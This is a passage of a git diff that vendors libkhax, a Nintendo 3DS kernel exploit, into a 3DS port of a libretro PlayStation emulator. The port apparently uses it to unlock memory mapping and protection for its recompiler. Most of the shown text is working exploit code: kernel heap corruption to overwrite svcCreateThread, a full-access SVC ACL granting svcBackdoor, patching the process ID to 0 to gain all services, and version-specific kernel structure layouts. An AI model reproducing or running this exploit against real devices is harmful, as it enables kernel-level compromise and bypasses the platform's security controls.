KHAX::MemChunkHax::Step6c_UndoCreateThreadPatch() +{ + // Unpatch svcCreateThread. NOTE: Misaligned pointer. + *reinterpret_cast(m_versionData->m_threadPatchAddress) = m_versionData-> + m_threadPatchOriginalCode; + --m_corrupted; + + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Fix the heap corruption caused as a side effect of step 5. +Result KHAX::MemChunkHax::Step6d_FixHeapCorruption() +{ + // The kernel's heap coalesce code seems to be like the following for the case we triggered, + // where we're freeing a block before ("left") an adjacent block ("right"): + // + // (1) left->m_count += right->m_count; + // (2) left->m_next = right->m_next; + // (3) right->m_next->m_prev = left; + // + // (1) should have happened normally. (3) is what we exploit: we set right->m_next to point + // to where we want to patch, such that the write to m_prev is the desired code overwrite. + // (2) is copying the value we put into right->m_next to accomplish (3). + // + // As a result of these shenanigans, we have two fixes to do to the heap: fix left->m_next to + // point to the correct next free block, and do the write to right->m_next->m_prev that didn't + // happen because it instead was writing to kernel code. + + // "left" is the second overwrite page. + auto left = static_cast(m_versionData->ConvertLinearUserVAToKernelVA( + &m_overwriteMemory->m_pages[1].m_freeBlock)); + // "right->m_next" is the fifth overwrite page. + auto rightNext = static_cast(m_versionData->ConvertLinearUserVAToKernelVA( + &m_overwriteMemory->m_pages[4].m_freeBlock)); + + // Do the two fixups. + left->m_next = rightNext; + --m_corrupted; + + rightNext->m_prev = left; + --m_corrupted; + + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Grant our process access to all system calls, including svcBackdoor. +Result KHAX::MemChunkHax::Step6e_GrantSVCAccess() +{ + // Everything, except nonexistent services 00, 7E or 7F. + static constexpr const char s_fullAccessACL[] = "\xFE\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x3F"; + + // Get the KThread pointer. Its type doesn't vary, so far. + KThread *kthread = *m_versionData->m_currentKThreadPtr; + + // Debug dumping. +#ifdef KHAX_DEBUG_DUMP_DATA + // Get the KProcess pointer, whose type varies by kernel version. + void *kprocess = *m_versionData->m_currentKProcessPtr; + + void *svcData = reinterpret_cast(reinterpret_cast(kthread->m_svcRegisterState) & ~std::uintptr_t(0xFF)); + std::memcpy(m_savedKProcess, kprocess, sizeof(m_savedKProcess)); + std::memcpy(m_savedKThread, kthread, sizeof(m_savedKThread)); + std::memcpy(m_savedThreadSVC, svcData, sizeof(m_savedThreadSVC)); +#endif + + // Get a pointer to the SVC ACL within the SVC area for the thread. + SVCThreadArea *svcThreadArea = ContainingRecord(kthread->m_svcRegisterState, &SVCThreadArea::m_svcRegisterState); + KSVCACL &threadACL = svcThreadArea->m_svcAccessControl; + + // Save the old one for diagnostic purposes. + std::memcpy(m_oldACL, threadACL, sizeof(threadACL)); + + // Set the ACL for the current thread. + std::memcpy(threadACL, s_fullAccessACL, sizeof(threadACL)); + + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Flush instruction and data caches. +Result KHAX::MemChunkHax::Step6f_FlushCaches() +{ + // Invalidates the entire instruction cache. + __asm__ volatile( + "mov r0, #0\n\t" + "mcr p15, 0, r0, c7, c5, 0\n\t"); + + // Invalidates the entire data cache. + __asm__ volatile( + "mov r0, #0\n\t" + "mcr p15, 0, r0, c7, c10, 0\n\t"); + + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Grant access to all services. +Result KHAX::MemChunkHax::Step7_GrantServiceAccess() +{ + // Backup the original PID. + Result result = svcGetProcessId(&m_originalPID, m_versionData->m_currentKProcessHandle); + if (result != 0) + { + KHAX_printf("Step7:GetPID1 fail:%08lx\n", result); + return result; + } + + KHAX_printf("Step7:current pid=%lu\n", m_originalPID); + + // Patch the PID to 0, granting access to all services. + svcBackdoor(Step7a_PatchPID); + + // Check whether PID patching succeeded. + u32 newPID; + result = svcGetProcessId(&newPID, m_versionData->m_currentKProcessHandle); + if (result != 0) + { + // Attempt patching back anyway, for stability reasons. + svcBackdoor(Step7b_UnpatchPID); + KHAX_printf("Step7:GetPID2 fail:%08lx\n", result); + return result; + } + + if (newPID != 0) + { + KHAX_printf("Step7:nonzero:%lu\n", newPID); + return MakeError(27, 11, KHAX_MODULE, 1023); + } + + // Reinit ctrulib's srv connection to gain access to all services. + srvExit(); + srvInit(); + + // Restore the original PID now that srv has been tricked into thinking that we're PID 0. + svcBackdoor(Step7b_UnpatchPID); + + // Check whether PID restoring succeeded. + result = svcGetProcessId(&newPID, m_versionData->m_currentKProcessHandle); + if (result != 0) + { + KHAX_printf("Step7:GetPID3 fail:%08lx\n", result); + return result; + } + + if (newPID != m_originalPID) + { + KHAX_printf("Step7:not same:%lu\n", newPID); + return MakeError(27, 11, KHAX_MODULE, 1023); + } + + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Patch the PID to 0. +Result KHAX::MemChunkHax::Step7a_PatchPID() +{ + // Disable interrupts ASAP. + // FIXME: Need a better solution for this. + __asm__ volatile("cpsid aif"); + + // Patch the PID to 0. The version data has a function pointer in m_makeKProcessPointers + // to translate the raw KProcess pointer into pointers into key fields, and we access the + // m_processID field from it. + *(s_instance->m_versionData->m_makeKProcessPointers(*s_instance->m_versionData->m_currentKProcessPtr) + .m_processID) = 0; + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Restore the original PID. +Result KHAX::MemChunkHax::Step7b_UnpatchPID() +{ + // Disable interrupts ASAP. + // FIXME: Need a better solution for this. + __asm__ volatile("cpsid aif"); + + // Patch the PID back to the original value. + *(s_instance->m_versionData->m_makeKProcessPointers(*s_instance->m_versionData->m_currentKProcessPtr) + .m_processID) = s_instance->m_originalPID; + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Helper for dumping memory to SD card. +template +bool KHAX::MemChunkHax::DumpMemberToSDCard(const unsigned char(MemChunkHax::*member)[S], const char *filename) const +{ + char formatted[32]; + snprintf(formatted, KHAX_lengthof(formatted), filename, + static_cast(m_versionData->m_kernelVersion), m_versionData->m_new3DS ? + "New" : "Old"); + + bool result = true; + + FILE *file = std::fopen(formatted, "wb"); + if (file) + { + result = result && (std::fwrite(this->*member, 1, sizeof(this->*member), file) == 1); + std::fclose(file); + } + else + { + result = false; + } + + return result; +} + +//------------------------------------------------------------------------------------------------ +// Free memory and such. +KHAX::MemChunkHax::~MemChunkHax() +{ + // Dump memory to SD card if that is enabled. +#ifdef KHAX_DEBUG_DUMP_DATA + if (m_nextStep > 6) + { + DumpMemberToSDCard(&MemChunkHax::m_savedKProcess, "KProcess-%08X-%s.bin"); + DumpMemberToSDCard(&MemChunkHax::m_savedKThread, "KThread-%08X-%s.bin"); + DumpMemberToSDCard(&MemChunkHax::m_savedThreadSVC, "ThreadSVC-%08X-%s.bin"); + } +#endif + + // If we're corrupted, we're dead. + if (m_corrupted > 0) + { + KHAX_printf("~:error while corrupt;freezing\n"); + for (;;) + { + svcSleepThread(s64(60) * 1000000000); + } + } + + // This function has to be careful not to crash trying to shut down after an aborted attempt. + if (m_overwriteMemory) + { + u32 dummy; + + // Each page has a flag indicating that it is still allocated. + for (unsigned x = 0; x < KHAX_lengthof(m_overwriteMemory->m_pages); ++x) + { + // Don't free a page unless it remains allocated. + if (m_overwriteAllocated & (1u << x)) + { + Result res = svcControlMemory(&dummy, reinterpret_cast(&m_overwriteMemory->m_pages[x]), 0, + sizeof(m_overwriteMemory->m_pages[x]), MEMOP_FREE, static_cast(0)); + KHAX_printf("free %u: %08lx\n", x, res); + } + } + } + + // Free the extra linear memory. + if (m_extraLinear) + { + linearFree(m_extraLinear); + } + + // s_instance better be us + if (s_instance != this) + { + KHAX_printf("~:s_instance is wrong\n"); + } + else + { + s_instance = nullptr; + } +} + + +//------------------------------------------------------------------------------------------------ +// +// Miscellaneous +// + +//------------------------------------------------------------------------------------------------ +// Make an error code +inline Result KHAX::MakeError(Result level, Result summary, Result module, Result error) +{ + return (level << 27) + (summary << 21) + (module << 10) + error; +} + +//------------------------------------------------------------------------------------------------ +// Check whether this system is a New 3DS. +Result KHAX::IsNew3DS(bool *answer, u32 kernelVersionAlreadyKnown) +{ + // If the kernel version isn't already known by the caller, find out. + u32 kernelVersion = kernelVersionAlreadyKnown; + if (kernelVersion == 0) + { + kernelVersion = osGetKernelVersion(); + } + + // APT_CheckNew3DS doesn't work on < 8.0.0, but neither do such New 3DS's exist. + if (kernelVersion >= SYSTEM_VERSION(2, 44, 6)) + { + // Check whether the system is a New 3DS. If this fails, abort, because being wrong would + // crash the system. + u8 isNew3DS = 0; + if (Result error = APT_CheckNew3DS(nullptr, &isNew3DS)) + { + *answer = false; + return error; + } + + // Use the result of APT_CheckNew3DS. + *answer = isNew3DS != 0; + return 0; + } + + // Kernel is older than 8.0.0, so we logically conclude that this cannot be a New 3DS. + *answer = false; + return 0; +} + +//------------------------------------------------------------------------------------------------ +// gspwn, meant for reading from or writing to freed buffers. +Result KHAX::GSPwn(void *dest, const void *src, std::size_t size, bool wait) +{ + // Attempt a flush of the source, but ignore the result, since we may have just been asked to + // read unmapped memory or something similar. + GSPGPU_FlushDataCache(nullptr, static_cast(const_cast(src)), size); + + // Invalidate the destination's cache, since we're about to overwrite it. Likewise, ignore + // errors, since it may be the destination that is an unmapped address. + GSPGPU_InvalidateDataCache(nullptr, static_cast(dest), size); + + // Copy that floppy. + if (Result result = GX_SetTextureCopy(nullptr, static_cast(const_cast(src)), 0, + static_cast(dest), 0, size, 8)) + { + KHAX_printf("gspwn:copy fail:%08lx\n", result); + return result; + } + + // Wait for the operation to finish. + if (wait) + { + gspWaitForPPF(); + } + + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Given a pointer to a structure that is a member of another structure, +// return a pointer to the outer structure. Inspired by Windows macro. +template +Outer *KHAX::ContainingRecord(Inner *member, Inner Outer::*field) +{ + unsigned char *p = reinterpret_cast(member); + p -= reinterpret_cast(&(static_cast(nullptr)->*field)); + return reinterpret_cast(p); +} + +//------------------------------------------------------------------------------------------------ +// Main initialization function interface. +extern "C" Result khaxInit() +{ + using namespace KHAX; + +#ifdef KHAX_DEBUG + bool isNew3DS; + IsNew3DS(&isNew3DS, 0); + KHAX_printf("khaxInit: k=%08lx f=%08lx n=%d\n", osGetKernelVersion(), osGetFirmVersion(), + isNew3DS); +#endif + + // Look up the current system's version in our table. + const VersionData *versionData = VersionData::GetForCurrentSystem(); + if (!versionData) + { + KHAX_printf("khaxInit: Unknown kernel version\n"); + return MakeError(27, 6, KHAX_MODULE, 39); + } + + KHAX_printf("verdat t=%08lx s=%08lx v=%08lx\n", versionData->m_threadPatchAddress, + versionData->m_syscallPatchAddress, versionData->m_fcramVirtualAddress); + + // Create the hack object. + MemChunkHax hax{ versionData }; + + // Run through the steps. + if (Result result = hax.Step1_Initialize()) + { + KHAX_printf("khaxInit: Step1 failed: %08lx\n", result); + return result; + } + if (Result result = hax.Step2_AllocateMemory()) + { + KHAX_printf("khaxInit: Step2 failed: %08lx\n", result); + return result; + } + if (Result result = hax.Step3_SurroundFree()) + { + KHAX_printf("khaxInit: Step3 failed: %08lx\n", result); + return result; + } + if (Result result = hax.Step4_VerifyExpectedLayout()) + { + KHAX_printf("khaxInit: Step4 failed: %08lx\n", result); + return result; + } + if (Result result = hax.Step5_CorruptCreateThread()) + { + KHAX_printf("khaxInit: Step5 failed: %08lx\n", result); + return result; + } + if (Result result = hax.Step6_ExecuteSVCCode()) + { + KHAX_printf("khaxInit: Step6 failed: %08lx\n", result); + return result; + } + if (Result result = hax.Step7_GrantServiceAccess()) + { + KHAX_printf("khaxInit: Step7 failed: %08lx\n", result); + return result; + } + + KHAX_printf("khaxInit: done\n"); + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Shut down libkhax. Doesn't actually do anything at the moment, since khaxInit does everything +// and frees all memory on the way out. +extern "C" Result khaxExit() +{ + return 0; +} diff --git a/frontend/3ds/libkhax/khaxinternal.h b/frontend/3ds/libkhax/khaxinternal.h new file mode 100644 index 00000000..5d83eab5 --- /dev/null +++ b/frontend/3ds/libkhax/khaxinternal.h @@ -0,0 +1,339 @@ +#pragma once + +#define KHAX_DEBUG +//#define KHAX_DEBUG_DUMP_DATA + +#ifdef KHAX_DEBUG + #define KHAX_printf(...) printf(__VA_ARGS__), gspWaitForVBlank(), gfxFlushBuffers(), gfxSwapBuffers() +#else + #define KHAX_printf static_cast +#endif + +// Shut up IntelliSense warnings when using MSVC as an IDE, even though MSVC will obviously never +// actually compile this program. +#ifdef _MSC_VER + #undef ALIGN + #define ALIGN(x) __declspec(align(x)) + #if _MSC_VER < 1900 + #define alignof __alignof + #endif + #define KHAX_ATTRIBUTE(...) +#else + #define KHAX_ATTRIBUTE(...) __VA_ARGS__ +#endif + +#define KHAX_lengthof(...) (sizeof(__VA_ARGS__) / sizeof((__VA_ARGS__)[0])) + +//------------------------------------------------------------------------------------------------ +namespace KHAX +{ + //------------------------------------------------------------------------------------------------ + // This code uses offsetof illegally (i.e. on polymorphic classes). + #pragma GCC diagnostic push + #pragma GCC diagnostic ignored "-Winvalid-offsetof" + + //------------------------------------------------------------------------------------------------ + // General linked list node kernel object. + struct KLinkedListNode + { + KLinkedListNode *next; + KLinkedListNode *prev; + void *data; + }; + static_assert(sizeof(KLinkedListNode) == 0x00C, "KLinkedListNode isn't the expected size."); + + //------------------------------------------------------------------------------------------------ + // Base class of reference-counted kernel objects. + class KAutoObject + { + public: + u32 m_refCount; // +004 + + protected: + virtual ~KAutoObject() {} + }; + static_assert(sizeof(KAutoObject) == 0x008, "KAutoObject isn't the expected size."); + static_assert(offsetof(KAutoObject, m_refCount) == 0x004, "KAutoObject isn't the expected layout."); + + //------------------------------------------------------------------------------------------------ + // Base class of synchronizable objects. + class KSynchronizationObject : public KAutoObject + { + public: + u32 m_threadSyncCount; // +008 + KLinkedListNode *m_threadSyncFirst; // +00C + KLinkedListNode *m_threadSyncLast; // +010 + }; + static_assert(sizeof(KSynchronizationObject) == 0x014, "KSynchronizationObject isn't the expected size."); + static_assert(offsetof(KSynchronizationObject, m_threadSyncCount) == 0x008, + "KSynchronizationObject isn't the expected layout."); + + //------------------------------------------------------------------------------------------------ + struct KDebugThread; + struct KThreadLocalPage; + class KCodeSet; + + //------------------------------------------------------------------------------------------------ + // Unofficial name + typedef u8 KSVCACL[0x80 / 8]; + + //------------------------------------------------------------------------------------------------ + // ARM VFP register + union KHAX_ATTRIBUTE(__attribute__((__aligned__(4))) __attribute__((__packed__))) VFPRegister + { + float m_single[2]; + double m_double; + }; + static_assert(alignof(VFPRegister) == 0x004, + "VFPRegister isn't the expected alignment."); + static_assert(sizeof(VFPRegister) == 0x008, + "VFPRegister isn't the expected size."); + + //------------------------------------------------------------------------------------------------ + // SVC-mode register save area. + // http://3dbrew.org/wiki/Memory_layout#0xFF4XX000 + struct SVCRegisterState + { + u32 m_r4; // +000 + u32 m_r5; // +004 + u32 m_r6; // +008 + u32 m_r7; // +00C + u32 m_r8; // +010 + u32 m_r9; // +014 + u32 m_sl; // +018 + u32 m_fp; // +01C + u32 m_sp; // +020 + u32 m_lr; // +024 + }; + static_assert(sizeof(SVCRegisterState) == 0x028, + "SVCRegisterState isn't the expected size."); + + //------------------------------------------------------------------------------------------------ + // SVC-mode thread state structure. This is the last part of the per- + // thread page allocated in 0xFF4XX000. + // http://3dbrew.org/wiki/Memory_layout#0xFF4XX000 + struct SVCThreadArea + { + KSVCACL m_svcAccessControl; // +000 + u32 m_unknown010; // +010 + u32 m_unknown014; // +014 + SVCRegisterState m_svcRegisterState; // +018 + VFPRegister m_vfpRegisters[16]; // +040 + u32 m_unknown0C4; // +0C0 + u32 m_fpexc; // +0C4 + }; + static_assert(offsetof(SVCThreadArea, m_svcRegisterState) == 0x018, + "ThreadSVCArea isn't the expected layout."); + static_assert(sizeof(SVCThreadArea) == 0x0C8, + "ThreadSVCArea isn't the expected size."); + + //------------------------------------------------------------------------------------------------ + // Kernel's internal structure of a thread object. + class KThread : public KSynchronizationObject + { + public: + u32 m_unknown014; // +014 + u32 m_unknown018; // +018 + u32 m_unknown01C; // +01C + u32 m_unknown020; // +020 + u32 m_unknown024; // +024 + u32 m_unknown028; // +028 + u32 m_unknown02C; // +02C + u32 m_unknown030; // +030 + u32 m_unknown034; // +034 + KDebugThread *m_debugThread; // +038 + s32 m_threadPriority; // +03C + void *m_waitingOnObject; // +040 + u32 m_unknown044; // +044 + KThread **m_schedulerUnknown048; // +048 + void *m_arbitrationAddress; // +04C + u32 m_unknown050; // +050 + u32 m_unknown054; // +054 + u32 m_unknown058; // +058 + KLinkedListNode *m_waitingOnList; // +05C + u32 m_unknownListCount; // +060 + KLinkedListNode *m_unknownListHead; // +064 + KLinkedListNode *m_unknownListTail; // +068 + s32 m_threadPriority2; // +06C + s32 m_creatingProcessor; // +070 + u32 m_unknown074; // +074 + u32 m_unknown078; // +078 + u16 m_unknown07C; // +07C + u8 m_threadType; // +07E + u8 m_padding07F; // +07F + void *m_process; // +080 + u32 m_threadID; // +084 + SVCRegisterState *m_svcRegisterState; // +088 + void *m_svcPageEnd; // +08C + s32 m_idealProcessor; // +090 + void *m_tlsUserMode; // +094 + void *m_tlsKernelMode; // +098 + u32 m_unknown09C; // +09C + KThread *m_prev; // +0A0 + KThread *m_next; // +0A4 + KThread **m_temporaryLinkedList; // +0A8 + u32 m_unknown0AC; // +0B0 + }; + static_assert(sizeof(KThread) == 0x0B0, + "KThread isn't the expected size."); + static_assert(offsetof(KThread, m_svcRegisterState) == 0x088, + "KThread isn't the expected layout."); + + //------------------------------------------------------------------------------------------------ + // Kernel's internal structure of a process object. + // Version 1.0.0(?) - 7.2.0 + class KProcess_1_0_0_Old : public KSynchronizationObject + { + public: + u32 m_unknown014; // +014 + u32 m_unknown018; // +018 + KThread *volatile m_interactingThread; // +01C + u16 m_unknown020; // +020 + u16 m_unknown022; // +022 + u32 m_unknown024; // +024 + u32 m_unknown028; // +028 + u32 m_memoryBlockCount; // +02C + KLinkedListNode *m_memoryBlockFirst; // +030 + KLinkedListNode *m_memoryBlockLast; // +034 + u32 m_unknown038; // +038 + u32 m_unknown03C; // +03C + void *m_translationTableBase; // +040 + u8 m_contextID; // +044 + u32 m_unknown048; // +048 + u32 m_unknown04C; // +04C + u32 m_mmuTableSize; // +050 + void *m_mmuTableAddress; // +054 + u32 m_threadContextPagesSize; // +058 + u32 m_threadLocalPageCount; // +05C + KLinkedListNode *m_threadLocalPageFirst; // +060 + KLinkedListNode *m_threadLocalPageLast; // +064 + u32 m_unknown068; // +068 + s32 m_idealProcessor; // +06C + u32 m_unknown070; // +070 + void *m_resourceLimits; // +074 + u8 m_unknown078; // +078 + u8 m_affinityMask; // +079 + u32 m_threadCount; // +07C + KSVCACL m_svcAccessControl; // +080 + u32 m_interruptFlags[0x80 / 32]; // +090 + u32 m_kernelFlags; // +0A0 + u16 m_handleTableSize; // +0A4 + u16 m_kernelReleaseVersion; // +0A6 + KCodeSet *m_codeSet; // +0A8 + u32 m_processID; // +0AC + u32 m_kernelFlags2; // +0B0 + u32 m_unknown0B4; // +0B4 + KThread *m_mainThread; // +0B8 + //...more... + }; + static_assert(offsetof(KProcess_1_0_0_Old, m_svcAccessControl) == 0x080, + "KProcess_1_0_0_Old isn't the expected layout."); + + //------------------------------------------------------------------------------------------------ + // Kernel's internal structure of a process object. + // Old 3DS Version 8.0.0 - 9.5.0... + class KProcess_8_0_0_Old : public KSynchronizationObject + { + public: + u32 m_unknown014; // +014 + u32 m_unknown018; // +018 + KThread *volatile m_interactingThread; // +01C + u16 m_unknown020; // +020 + u16 m_unknown022; // +022 + u32 m_unknown024; // +024 + u32 m_unknown028; // +028 + u32 m_memoryBlockCount; // +02C + KLinkedListNode *m_memoryBlockFirst; // +030 + KLinkedListNode *m_memoryBlockLast; // +034 + u32 m_unknown038; // +038 + u32 m_unknown03C; // +03C + void *m_translationTableBase; // +040 + u8 m_contextID; // +044 + u32 m_unknown048; // +048 + void *m_userVirtualMemoryEnd; // +04C + void *m_userLinearVirtualBase; // +050 + u32 m_unknown054; // +054 + u32 m_mmuTableSize; // +058 + void *m_mmuTableAddress; // +05C + u32 m_threadContextPagesSize; // +060 + u32 m_threadLocalPageCount; // +064 + KLinkedListNode *m_threadLocalPageFirst; // +068 + KLinkedListNode *m_threadLocalPageLast; // +06C + u32 m_unknown070; // +070 + s32 m_idealProcessor; // +074 + u32 m_unknown078; // +078 + void *m_resourceLimits; // +07C + u32 m_unknown080; // +080 + u32 m_threadCount; // +084 + u8 m_svcAccessControl[0x80 / 8]; // +088 + u32 m_interruptFlags[0x80 / 32]; // +098 + u32 m_kernelFlags; // +0A8 + u16 m_handleTableSize; // +0AC + u16 m_kernelReleaseVersion; // +0AE + KCodeSet *m_codeSet; // +0B0 + u32 m_processID; // +0B4 + u32 m_unknown0B8; // +0B8 + u32 m_unknown0BC; // +0BC + KThread *m_mainThread; // +0C0 + //...more... + }; + static_assert(offsetof(KProcess_8_0_0_Old, m_svcAccessControl) == 0x088, + "KProcess_8_0_0_Old isn't the expected layout."); + + //------------------------------------------------------------------------------------------------ + // Kernel's internal structure of a process object. + // New 3DS Version 8.0.0 - 9.5.0... + class KProcess_8_0_0_New : public KSynchronizationObject + { + public: + u32 m_unknown014; // +014 + u32 m_unknown018; // +018 + KThread *volatile m_interactingThread; // +01C + u16 m_unknown020; // +020 + u16 m_unknown022; // +022 + u32 m_unknown024; // +024 + u32 m_unknown028; // +028 + u32 m_unknown02C; // +02C new to New 3DS + u32 m_unknown030; // +030 new to New 3DS + u32 m_memoryBlockCount; // +034 + KLinkedListNode *m_memoryBlockFirst; // +038 + KLinkedListNode *m_memoryBlockLast; // +03C + u32 m_unknown040; // +040 + u32 m_unknown044; // +044 + void *m_translationTableBase; // +048 + u8 m_contextID; // +04C + u32 m_unknown050; // +050 + void *m_userVirtualMemoryEnd; // +054 + void *m_userLinearVirtualBase; // +058 + u32 m_unknown05C; // +05C + u32 m_mmuTableSize; // +060 + void *m_mmuTableAddress; // +064 + u32 m_threadContextPagesSize; // +068 + u32 m_threadLocalPageCount; // +06C + KLinkedListNode *m_threadLocalPageFirst; // +070 + KLinkedListNode *m_threadLocalPageLast; // +074 + u32 m_unknown078; // +078 + s32 m_idealProcessor; // +07C + u32 m_unknown080; // +080 + void *m_resourceLimits; // +084 + u32 m_unknown088; // +088 + u32 m_threadCount; // +08C + u8 m_svcAccessControl[0x80 / 8]; // +090 + u32 m_interruptFlags[0x80 / 32]; // +0A0 + u32 m_kernelFlags; // +0B0 + u16 m_handleTableSize; // +0B4 + u16 m_kernelReleaseVersion; // +0B6 + KCodeSet *m_codeSet; // +0B8 + u32 m_processID; // +0BC + u32 m_unknown0C0; // +0C0 + u32 m_unknown0C4; // +0C4 + KThread *m_mainThread; // +0C8 + //...more... + }; + static_assert(offsetof(KProcess_8_0_0_New, m_svcAccessControl) == 0x090, + "KProcess_8_0_0_New isn't the expected layout."); + + //------------------------------------------------------------------------------------------------ + // Done using illegal offsetof + #pragma GCC diagnostic pop +} diff --git a/frontend/3ds/pthread.h b/frontend/3ds/pthread.h new file mode 100644 index 00000000..836f4cb5 --- /dev/null +++ b/frontend/3ds/pthread.h @@ -0,0 +1,68 @@ + +#ifndef _3DS_PTHREAD_WRAP__ +#define _3DS_PTHREAD_WRAP__ + +#include "3ds.h" +#include "stdlib.h" +#include "string.h" +#include "stdio.h" + + +#define CTR_PTHREAD_STACK_SIZE 0x10000 + +typedef struct +{ + Handle handle; + u32* stack; +}pthread_t; +typedef int pthread_attr_t; + +//#ifndef DEBUG_HOLD +//#include "stdio.h" +//void wait_for_input(void); + +//#define DEBUG_HOLD() do{printf("%s@%s:%d.\n",__FUNCTION__, __FILE__, __LINE__);fflush(stdout);wait_for_input();}while(0) +//#endif + +static inline int pthread_create(pthread_t *thread, + const pthread_attr_t *attr, void *(*start_routine)(void*), void *arg) +{ + +// DEBUG_HOLD(); + + thread->stack = linearMemAlign(CTR_PTHREAD_STACK_SIZE, 8); + + svcCreateThread(&thread->handle, (ThreadFunc)start_routine,arg, + (u32*)((u32)thread->stack + CTR_PTHREAD_STACK_SIZE), + 0x25, 1); + + return 1; +} + + +static inline int pthread_join(pthread_t thread, void **retval) +{ + (void)retval; + +// DEBUG_HOLD(); + if(svcWaitSynchronization(thread.handle, INT64_MAX)) + return -1; + + linearFree(thread.stack); + + return 0; +} + + +static inline void pthread_exit(void *retval) +{ + (void)retval; + +// DEBUG_HOLD(); + svcExitThread(); +} + +//#undef DEBUG_HOLD + +#endif //_3DS_PTHREAD_WRAP__ + diff --git a/frontend/3ds/sys/mman.h b/frontend/3ds/sys/mman.h new file mode 100644 index 00000000..c93b13b3 --- /dev/null +++ b/frontend/3ds/sys/mman.h @@ -0,0 +1,66 @@ +#ifndef MMAN_H +#define MMAN_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include "3ds.h" +#include "stdlib.h" +#include "stdio.h" + +#define PROT_READ MEMPERM_READ +#define PROT_WRITE MEMPERM_WRITE +#define PROT_EXEC MEMPERM_EXECUTE +#define MAP_PRIVATE 2 +#define MAP_ANONYMOUS 0x20 + +#define MAP_FAILED ((void *)-1) + +static inline void* mmap(void *addr, size_t len, int prot, int flags, int fd, off_t offset) +{ + (void)addr; + (void)prot; + (void)flags; + (void)fd; + (void)offset; + + void* addr_out; + + addr_out = malloc(len); + if(!addr_out) + return MAP_FAILED; + + return addr_out; +} + +static inline int mprotect(void *addr, size_t len, int prot) +{ + extern int ctr_svchack_init_success; + + if(ctr_svchack_init_success) + { + uint32_t currentHandle; + svcDuplicateHandle(¤tHandle, 0xFFFF8001); + svcControlProcessMemory(currentHandle, (u32)addr, 0x0, + len, MEMOP_PROT, prot); + svcCloseHandle(currentHandle); + return 0; + } + + return -1; +} + +static inline int munmap(void *addr, size_t len) +{ + free(addr); + return 0; + +} + +#ifdef __cplusplus +}; +#endif + +#endif // MMAN_H + diff --git a/frontend/libretro.c b/frontend/libretro.c index b611e84e..69fad2a3 100644 --- a/frontend/libretro.c +++ b/frontend/libretro.c @@ -28,6 +28,12 @@ #include "revision.h" #include "libretro.h" +#ifdef _3DS +#include "3ds.h" +#include "3ds/3ds_utils.h" +int ctr_svchack_init_success = 0; +#endif + static retro_video_refresh_t video_cb; static retro_input_poll_t input_poll_cb; static retro_input_state_t input_state_cb; @@ -165,8 +171,87 @@ static void vout_close(void) { } -static void *pl_mmap(unsigned int size) +#ifdef _3DS +typedef struct +{ + void* buffer; + uint32_t target_map; + size_t size; + enum psxMapTag tag; +}psx_map_t; + +psx_map_t custom_psx_maps[] = { + {NULL, 0x13000000, 0x210000, MAP_TAG_RAM}, // 0x80000000 + {NULL, 0x12800000, 0x010000, MAP_TAG_OTHER}, // 0x1f800000 + {NULL, 0x12c00000, 0x080000, MAP_TAG_OTHER}, // 0x1fc00000 + {NULL, 0x11000000, 0x800000, MAP_TAG_LUTS}, // 0x08000000 + {NULL, 0x12000000, 0x200000, MAP_TAG_VRAM}, // 0x00000000 +}; + +void* pl_3ds_mmap(unsigned long addr, size_t size, int is_fixed, + enum psxMapTag tag) +{ + (void)is_fixed; + (void)addr; + + if (ctr_svchack_init_success) + { + psx_map_t* custom_map = custom_psx_maps; + + for (; custom_map->size; custom_map++) + { + if ((custom_map->size == size) && (custom_map->tag == tag)) + { + uint32_t ptr_aligned, tmp; + + custom_map->buffer = malloc(size + 0x1000); + ptr_aligned = (((u32)custom_map->buffer) + 0xFFF) & ~0xFFF; + + if(svcControlMemory(&tmp, custom_map->target_map, ptr_aligned, size, MEMOP_MAP, 0x3) < 0) + { + SysPrintf("could not map memory @0x%08X\n", custom_map->target_map); + exit(1); + } + + return (void*)custom_map->target_map; + } + } + } + + return malloc(size); +} + +void pl_3ds_munmap(void *ptr, size_t size, enum psxMapTag tag) { + (void)tag; + + if (ctr_svchack_init_success) + { + psx_map_t* custom_map = custom_psx_maps; + + for (; custom_map->size; custom_map++) + { + if ((custom_map->target_map == (uint32_t)ptr)) + { + uint32_t ptr_aligned, tmp; + + ptr_aligned = (((u32)custom_map->buffer) + 0xFFF) & ~0xFFF; + + svcControlMemory(&tmp, custom_map->target_map, ptr_aligned, size, MEMOP_UNMAP, 0x3); + + free(custom_map->buffer); + custom_map->buffer = NULL; + return; + } + } + } + + free(ptr); +} +#endif + +static void *pl_mmap(unsigned int size) +{ return psxMap(0, size, 0, MAP_TAG_VRAM); } @@ -1048,6 +1133,11 @@ static void update_variables(bool in_flight) { R3000Acpu *prev_cpu = psxCpu; +#ifdef _3DS + if(!ctr_svchack_init_success) + Config.Cpu = CPU_INTERPRETER; + else +#endif if (strcmp(var.value, "disabled") == 0) Config.Cpu = CPU_INTERPRETER; else if (strcmp(var.value, "enabled") == 0) @@ -1234,6 +1324,11 @@ void retro_init(void) int i, ret; bool found_bios = false; +#ifdef _3DS + ctr_svchack_init_success = ctr_svchack_init(); + psxMapHook = pl_3ds_mmap; + psxUnmapHook = pl_3ds_munmap; +#endif ret = emu_core_preinit(); ret |= emu_core_init(); if (ret != 0) { @@ -1249,7 +1344,7 @@ void retro_init(void) if (environ_cb(RETRO_ENVIRONMENT_GET_SYSTEM_DIRECTORY, &dir) && dir) { - snprintf(Config.BiosDir, sizeof(Config.BiosDir), "%s/", dir); + snprintf(Config.BiosDir, sizeof(Config.BiosDir), "%s", dir); for (i = 0; i < sizeof(bios) / sizeof(bios[0]); i++) { snprintf(path, sizeof(path), "%s/%s.bin", dir, bios[i]); diff --git a/frontend/main.c b/frontend/main.c index 4c84803e..c816ba15 100644 --- a/frontend/main.c +++ b/frontend/main.c @@ -11,7 +11,7 @@ #include #include #include -#ifndef _WIN32 +#if !defined(_WIN32) && !defined(_3DS) #include #endif @@ -771,7 +771,7 @@ int emu_save_state(int slot) return ret; ret = SaveState(fname); -#if defined(__arm__) && 